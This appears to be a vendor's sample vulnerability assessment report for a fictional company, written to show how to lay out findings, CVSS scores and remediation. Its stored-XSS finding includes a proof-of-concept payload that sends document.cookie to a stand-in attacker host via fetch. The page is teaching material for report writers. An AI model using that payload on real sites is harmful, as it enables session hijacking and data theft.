Vulnerability Assessment Report Example (Free Sample)

Need to see what a finished vulnerability assessment report looks like? This sample walks through every major section with realistic filled-in content — not lorem ipsum placeholders. Use it as a reference when writing your own VA reports, or start from our vulnerability assessment report template and swap in your findings.

Vulnerability assessments differ from full penetration tests: they typically rely more on automated scanning plus manual validation, focus on known CVEs and misconfigurations, and produce a prioritized remediation list. The report structure, however, follows the same principles covered in our pentest report writing guide.

Sample report overview

Engagement: External vulnerability assessment
Client: Acme Corp (fictional)
Scope: 12 public-facing web applications and 3 API gateways
Assessment period: June 15–22, 2026
Methodology: OWASP Testing Guide v4.2, automated scanning (Nessus, Burp Suite Pro), manual validation

Executive summary (filled example)

Acme Corp's external-facing applications present a moderate overall risk posture. The assessment identified 47 unique vulnerabilities: 2 Critical, 8 High, 19 Medium, 14 Low, and 4 Informational.

The two critical findings require immediate attention: an unauthenticated SQL injection in the customer portal login API and a default administrative credential on an internal-facing staging instance inadvertently exposed to the internet.

Top remediation priorities: (1) patch the SQL injection in /api/v2/auth/login, (2) remove or restrict access to the staging environment, (3) remediate 8 High-severity XSS and IDOR issues in the support ticketing system, and (4) implement a centralized patch management process for the 11 outdated Java dependencies identified.

Several positive controls were observed: production applications enforce TLS 1.2+, HSTS is enabled on primary domains, and MFA is required for administrative access to the main CMS.

Findings summary table (filled example)

A summary table gives stakeholders a single view of all issues:

Individual finding example (VA-003)

Below is a fully filled finding entry. This is the level of detail each item in your report should reach.

VA-003: Stored Cross-Site Scripting in Support Ticket Comments

Severity: High
CVSS 3.1: 7.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation
OWASP: A03:2021 — Injection (see our OWASP Top 10 for report writers)

Affected asset: https://support.acmecorp.example/tickets/comment

Description: The support ticketing system stores user-supplied HTML in ticket comments without sanitization. When an agent views the ticket, the injected script executes in their browser session. The vulnerability was confirmed by submitting a comment containing <img src=x onerror=alert(document.domain)> which executed when viewed by a support agent account.

Impact: An attacker with a standard customer account can execute arbitrary JavaScript in the context of a support agent's session. This enables session hijacking, viewing confidential ticket data from other customers, and performing actions on behalf of the agent (creating refunds, modifying account settings).

Proof of concept:

1. Log in as a customer at https://support.acmecorp.example/login
2. Create ticket #48291 with subject "Billing question"
3. Add a comment containing: <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>
4. When agent user agent.smith opens the ticket, the script executes (confirmed via Burp Collaborator callback)

Remediation:

• Implement context-aware output encoding for all user-generated content displayed in the agent portal
• Deploy a Content-Security-Policy header restricting inline script execution
• Consider using a markdown renderer that strips HTML tags instead of raw HTML storage

Scope and methodology (filled example)

In scope:

• *.acmecorp.example — all subdomains listed in Appendix A
• API gateways at api.acmecorp.example and api-v2.acmecorp.example
• Authentication flows for customer and agent portals

Out of scope: Denial of service testing, social engineering, physical security, third-party payment processor infrastructure (Stripe-hosted pages).

Testing approach: Automated vulnerability scanning followed by manual validation of all Critical and High findings plus a 20% sample of Medium findings. False positives from scanner output were documented and excluded from the final count.

Risk rating methodology (filled example)

Severity ratings in this report use CVSS 3.1 base scores calculated via the FIRST CVSS v3.1 specification. Environmental adjustments were applied where findings existed only on non-production environments. Use our CVSS calculator to score your own findings consistently.

Rating scale:

• Critical: 9.0–10.0
• High: 7.0–8.9
• Medium: 4.0–6.9
• Low: 0.1–3.9
• Informational: best-practice observations without direct exploitability

Appendix: positive observations (filled example)

Balanced reports include effective controls:

• TLS 1.2 and 1.3 enforced on all production endpoints; TLS 1.0/1.1 disabled
• HSTS with max-age=31536000; includeSubDomains on primary domains
• MFA enforced for all CMS administrator accounts
• Rate limiting present on login endpoints (though bypassable — see VA-012)

How to use this example

Copy the section structure, not the fictional content. Replace Acme Corp details with your client's information. For each scanner finding, validate manually before including — automated tools produce false positives that undermine report credibility.

Download the blank structure from our vulnerability assessment report template page. For bug bounty submissions derived from VA work, adapt the finding format using our bug bounty report template. If you need a reporting tool without enterprise pricing, see our comparison of free pentest reporting alternatives.

The bottom line

A professional vulnerability assessment report includes an executive summary with severity counts, a findings table, detailed per-finding entries with CVSS scores and reproduction steps, and balanced positive observations. This example shows what "done" looks like — use the template, score with the CVSS calculator, and generate sections with PoCcraft to produce your own version faster.